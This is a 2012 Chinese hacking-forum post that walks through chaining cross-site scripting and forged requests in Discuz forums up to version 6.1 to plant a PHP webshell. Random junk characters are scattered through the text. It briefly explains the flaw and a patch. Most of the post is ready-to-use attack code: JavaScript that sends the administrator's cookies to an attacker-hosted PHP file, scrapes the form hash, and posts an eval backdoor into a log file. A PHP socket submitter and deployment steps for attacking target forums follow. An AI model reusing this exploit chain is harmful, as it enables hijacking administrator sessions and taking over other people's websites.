中国网络渗透测试联盟

标题: Discuz XSS得webshell [打印本页]

作者: admin    时间: 2012-9-13 17:11
标题: Discuz XSS得webshell
Discuz XSS得webshell
! i/ q3 a9 v9 a  K, {0 X; J! c: pBy racle @tian6.com
! f3 w" X, z8 N( v5 h" E欢迎转帖.但请保留版权信息.
3 c0 T$ C" [( J. |; O+ Z+ B受影响版本iscuz<=6.1.0,gbk+utf+big5
7 d0 L) D0 R+ h- D; c$ k' g. Z3 }# I4 B; t: C" X( Z! t- K* I% X
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.; N% s6 N. t7 O" V; {
* i5 e8 Q) @& o/ [. ?
: y" D) y+ }  z
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
* G* ^7 B7 l9 X9 J7 y当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.( v  d% h  e0 J. E' a2 [5 V
3 g. R2 X' H/ {) h# U, n
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..4 e7 O# {; A: _
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
4 o. ]2 B% Z: F5 r: {4 T2 a( t: O* A4 o
. e6 p" N( A+ v; q3 w3 L- E
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
; W" s3 P# ?3 M: ]* z+ S
# i$ L) |( E/ C/ V1 H) d$ p
9 t9 b* D6 I, C% Z1 L4 o. wproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
" v/ ?) ?  I9 \5 l- e" W6 j& B% R5 ~) u1 m7 F  M
problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.& e" ~; `  }( T/ V' |) I+ {
& T" m. B5 @  B8 F3 h
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
; e/ y$ J' \& i( i3 E
& k% t8 E7 `: O" E0 h4 i# i) V7 [8 a
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
( V- f; }+ V/ ~. o# |& _
, n9 T; d. Y1 Z& T9 ?6 M; _9 V  t6 \        global $runwizardfile, $runwizardhistory;
! h5 O2 N4 r, @3 w! A. B1 V, N, l. }/ f, U6 X3 H' e
        $fp = fopen($runwizardfile, 'w');* S( r9 d& X& G$ m! F

+ D' ]$ t2 v8 e3 h- h& }5 x        fwrite($fp, serialize($runwizardhistory));+ Z5 B3 C- O( P* {) D

2 d$ y) g& b  P$ {4 t4 {        fclose($fp);
3 H- d  w, d4 T7 M% t: p$ ?4 O% i2 @6 G7 d5 O- {; B
}  q/ ]! ~- \4 \5 `9 R
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里., n# [) _; R  i2 l( `
以下是修补的办法:function saverunwizardhistory() {
* S: @& z" E4 x4 ~0 H* i+ s
1 k. x4 `8 ?! V/ s! J        global $runwizardfile, $runwizardhistory;
4 h$ A9 [2 t* a* _: H' M. ?
/ `" r/ G! w4 Q. b( S' D        $fp = fopen($runwizardfile, 'w');
3 t5 U6 ~' e; o, i) H
$ }" ]! M8 Z. y: C, O        $s = '<?php exit;?>';
- G0 d& c9 b% g  @2 F3 N1 |" `% m( P1 m2 k  A
        $s .= serialize($runwizardhistory);
3 h+ M  J* n. ^9 d+ j# i) ~0 Q
& w0 d- m' A) K/ N- B        fwrite($fp, $s);
6 W9 o7 n; s" i# G
9 j9 ?! [, {1 z8 z, G2 X        fclose($fp);5 t4 ]% D6 u4 h/ E: Z
- l% V4 g0 H+ I& ]
}
2 `  n& e2 h* w' B& f8 m% }复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
9 E) ]$ U6 `4 g
* X- g& A. y! n0 N4 K3 O$ |0 W
& D3 a; `; I& w  L
: s6 m' W1 r) k----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------" A$ S8 z4 l1 o5 s7 v% M1 F7 V

1 F+ W# e& d  R7 t, V% R* K7 ?) J" H# q
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
1 e' D; J3 M4 K$ G" n7 f0 Q
9 c3 ]+ i* L, M7 B  _" v9 [$ }我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
! i0 i( R# V8 {
! B( g6 L3 r& o& ~0 Z这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少., ^# {2 Y* i6 A
( I9 r/ e0 L' w/ u' e
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
; F/ f1 Y$ @4 k
/ f# ?0 ^5 N6 q: Q0 M3 J" nvar url="http://目标网站/admincp.php";      
; N  O8 c( u/ ^6 s' P0 n0 d& U  }+ N# L1 s% m, q
/*获得cookies*/
" E% c+ \* e  m7 s/ d2 m' |7 O  A; u, n% U4 R' x% ]( \
function getURL(s) {
5 I8 j& @: v- T" M, X  v
; X7 z0 ~7 N! C# J# m) `0 L* g3 gvar image = new Image();5 j# d  }% v3 O4 ?. p5 j0 h
" ~; b4 D. [% @$ B, c6 m
image.style.width = 0;7 N+ E6 E# m$ ?6 ]% a8 c

% x( y  [, x( ?, D8 kimage.style.height = 0;; s6 b1 I3 q# y% X# Q5 Q1 x
7 |$ ?( t7 n( I' K: t. V! a
image.src = s;
% z& C; G% z1 n
" v& B+ @  h4 S5 A' u, [/ `}* z2 T. k# S' x7 r9 b, m: O+ A

% J" {# O3 w, g- q( QgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php/ A% `5 J; t' L7 X4 x0 Q2 o5 R# M
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
% y4 W/ Y& Z  X9 b- B9 o2 G* c复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
5 ]% Y6 A- a' Q1 ~4 W5 z5 `/ a
, r' m5 I" E+ G, M: ?' @% I" Z. m7 t9 {! D
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
6 |, c5 i1 }- r6 R0 L6 W$ z, P) D
, ^8 k6 A4 \# W/ G7 q$ L" }
9 @' v! J5 U( l$ a" \7 z; b. ?: l% `+ H' r# T! C8 T2 y
/*hash*/) l' x( @+ d3 i; Q

( m- S  `. @0 ?. Rvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
! P6 U% C  f) `- L# }4 [7 a$ r0 B, ]( ], l0 _
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);+ z2 L# m; `" V9 {* A
+ ^: v% e; b4 U5 c) O
xmlHttpReq.send();
( a- K1 S8 e6 k' E3 F% n
6 T/ v5 C3 U8 q% S, y3 nvar resource = xmlHttpReq.responseText;5 h, M" ]) V9 u- ~
: W$ V4 I  H8 c* K
var numero = resource.search(/formhash/);
* f3 x9 a- k7 Z. j2 j$ S$ P/ G- t9 p& J7 X
var formhash=encodeURIComponent(resource.substr(numero+17,8));
/ B  K3 w; @% u0 z9 S! k7 B3 t$ q: x8 C0 k8 v3 ]# N5 f
7 b7 f7 n  k3 O# W+ o0 C4 p
2 D/ W8 ?5 ^+ w
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
$ k1 [2 V; {! Z' p" q. N+ x, O' f8 W9 ?3 n
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 5 A0 @5 V7 f; r# }/ b1 l
6 c& |  C! Z/ k# S3 R# a& Y, ^, ]. X
xmlHttpReq.setRequestHeader("Referer", url);% l/ X/ X+ Y  U* B1 T

- g* t9 g8 Z* axmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
+ M/ X2 b) [$ J
, `1 O  M9 d' m) E( ^) h! ]* TxmlHttpReq.setrequestheader("content-length",post.length); & g: h% z, \$ E; w; |9 _: _
3 {3 j" l7 B5 T3 s# Q4 a  U
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); 6 v% d  ?' b5 W& y
# \' Y( V% c5 E. n
xmlHttpReq.send(post);//发送数据7 w- r1 I& E0 J) [- [- ~6 ~
复制代码这里HASH我假设正确,这样提交,也无须cookies
2 B# d0 v9 m5 q8 x( J/ W
' k. H* _* S5 i! q# v  S9 O' Y8 Y再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);) ]- I5 p5 v+ C" L: |3 l( P

" V& ^7 O: R: qif (!$sock) die("$errstr ($errno)\n");4 v6 Y4 _: C/ l; b& R& R; Q
) h, g4 q+ z( W9 ?7 s
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
$ P1 T3 N0 y( z' R, ]. Y
# d9 T* K0 }9 M$ o1 ~
( {1 i  q0 {) |% O- T$ U7 E3 b; E8 }3 L' [. s* Q! A
fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");  n: Z" p6 M) h) @* C7 R2 E
! J4 G$ D% N( u& K4 y
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");. }5 L7 N3 ?0 x8 P; _$ P  D
$ T' R) _( a: G. J1 \( J! y* i
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
5 Q0 V$ M) }; Q; O6 C
# Q+ U( r3 H1 _) Mfwrite($sock, "Accept-Language: zh-cn\r\n");4 i/ @) `7 v" Y1 m+ F, X. N
" T, r* a5 s4 g# V; ~
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");4 W; O" Y" x9 O" `

% ]9 H0 Z' z  k- u2 nfwrite($sock, "Accept-Encoding: gzip, deflate\r\n");; C5 P5 n4 o8 W- ]; x

  H; N$ ~& T8 S6 l4 ifwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");' J* m! j. W" N$ }) z6 y7 B* P, H
  f) _$ _3 d) j& m
fwrite($sock, "Host: $url\r\n");
' y$ d9 s+ H$ q( v2 s' t+ b
3 |& O. w) p0 F+ Y: bfwrite($sock, "Content-Length: ".strlen($data)."\r\n");9 V) ^8 c) z! x5 y. F
$ r3 B; d1 L% W/ _( _! j; N4 R
fwrite($sock, "Connection: Keep-Alive\r\n");
% L4 V3 q' U+ R' A- z/ d/ P( y4 a9 U$ f+ y! E9 Y) Q
fwrite($sock, "Cache-Control: no-cache\r\n");
" Q$ ?) I8 y% e, G8 N* S
: B, {  z' Z; I! ?3 K2 _fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
9 ^1 J9 X& G# p
9 p  V% b, l) q2 `* ffwrite($sock, $data);, }9 A% v; m: [: i) Y6 X

' {. ?* R' w% u9 b+ A% Z& K) `3 v8 u0 ]5 z  `# F
* N+ y5 I1 X% A# G
$headers = "";$ j% `& {& s! x: {! K' U

1 B! N( m0 ~9 ^! d9 w4 I8 pwhile ($str = trim(fgets($sock, 4096)))
! A; g$ r9 Y; ?0 y
& Z( j0 ?2 [: I     $headers .= "$str\n";
4 s' j9 O+ z. E) F# A* X9 k
* u  L: d5 p8 R' m% Eecho "\n";
& v- S: J9 a/ S
! q3 R% H7 b  d0 |  [6 E* {$body = "";
1 q8 Q3 q& L" M8 ^) f# o. C7 G
; x0 F/ p# y' Ywhile (!feof($sock))6 g  c+ q1 H& q& H+ X1 a7 j
. D, `' B9 R. U9 f/ k) {- M3 B, _/ u
     $body .= fgets($sock, 4096);8 s  ^9 c3 G4 b- e- g, Q2 Y; D

4 q, f; \. F' R, g7 c; ~fclose($sock);
, j# Y; C9 J6 ?+ p4 p0 U/ v; C' E: E( X  U
echo $body;
  l- N6 T9 G% h4 V1 g/ a4 u复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^& M/ ]/ ^* P2 c* \. x1 n7 v1 Q% L
4 r; O2 ?7 I/ C# _7 u

# Q4 h- O5 X6 G0 m-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
3 X( n: M# G+ s2 k& S3 Q) d
9 R) j8 s6 d. ]: T" K7 S$ V, ?- r
- |! u. U# b  x' `$ l6 W1HP SOCKET利用方法首先打开racle.js
" V* J$ |4 i# n  E& P& W$ Y! Z5 y2 t( V3 w0 E
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home! a& l: I% O7 w6 C& a# I( r/ {% p

+ {0 E! [: @6 g7 q+ C9 d6 ~
  C$ ?3 {2 _: r! S' T
* P8 j/ }9 \7 P1 F& J8 B9 S: p# p然后打开racle@tian6.php" G0 d! v! {1 a1 E" c

2 w* H' U7 w6 i: A4 M( i* @' j$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
, O' \% w/ v) y* d2 Z, L" Y3 G
+ Y4 m) a% ^+ }0 {* n" K
3 C' z) ^% N. K! F2 L* O, B5 F
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
4 @/ c! E9 d" g0 m* Z: u" S$ B, V6 w! |% [. W( Y
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));+ y) r& M( B7 d+ H- r- H4 K8 d
+ U2 T" j& U. M: T/ n, u$ P

/ s6 [( m8 u* s) |1 p& M3 j: v4 c' n( k; q0 v+ g# n; D. r
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));1 ]) |) g  E& o+ l$ e1 ]
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
6 f5 M2 t' \4 \7 a" _3 z, g) Q+ [" K# Q4 A3 K
' K& H# @9 b& M2 M- g$ ?
1 j" F* m' X- v+ \
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:4 k/ d  u; f  u0 l# I2 n( I) a0 a

2 T: t  Z" r; ]8 k- Cvar formhash=encodeURIComponent(resource.substr(numero+17,8));! T; Z8 b0 H4 V, @7 L
9 `7 w$ [3 j2 c6 G& K% P$ x
" Y" X0 O3 ~1 e  E- T! U
4 [% q8 O, d6 E: F
var formhash=encodeURIComponent(resource.substr(numero+9,8));) t2 h0 v; e$ e' X
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.. V; D6 f: n3 V

7 K5 O0 ]( ?, a4 R0 G2 q如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
: b, G1 t- O0 @! q- a
' U0 U9 a/ }. d' W) S$ e5 m如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
4 c: ~9 A9 e- K; u: p1 I9 A: m2 h$ L; K
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
8 s9 l6 T9 K2 f; \) e: P
  _. w) Q+ P5 T$ [4 q( I) K




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2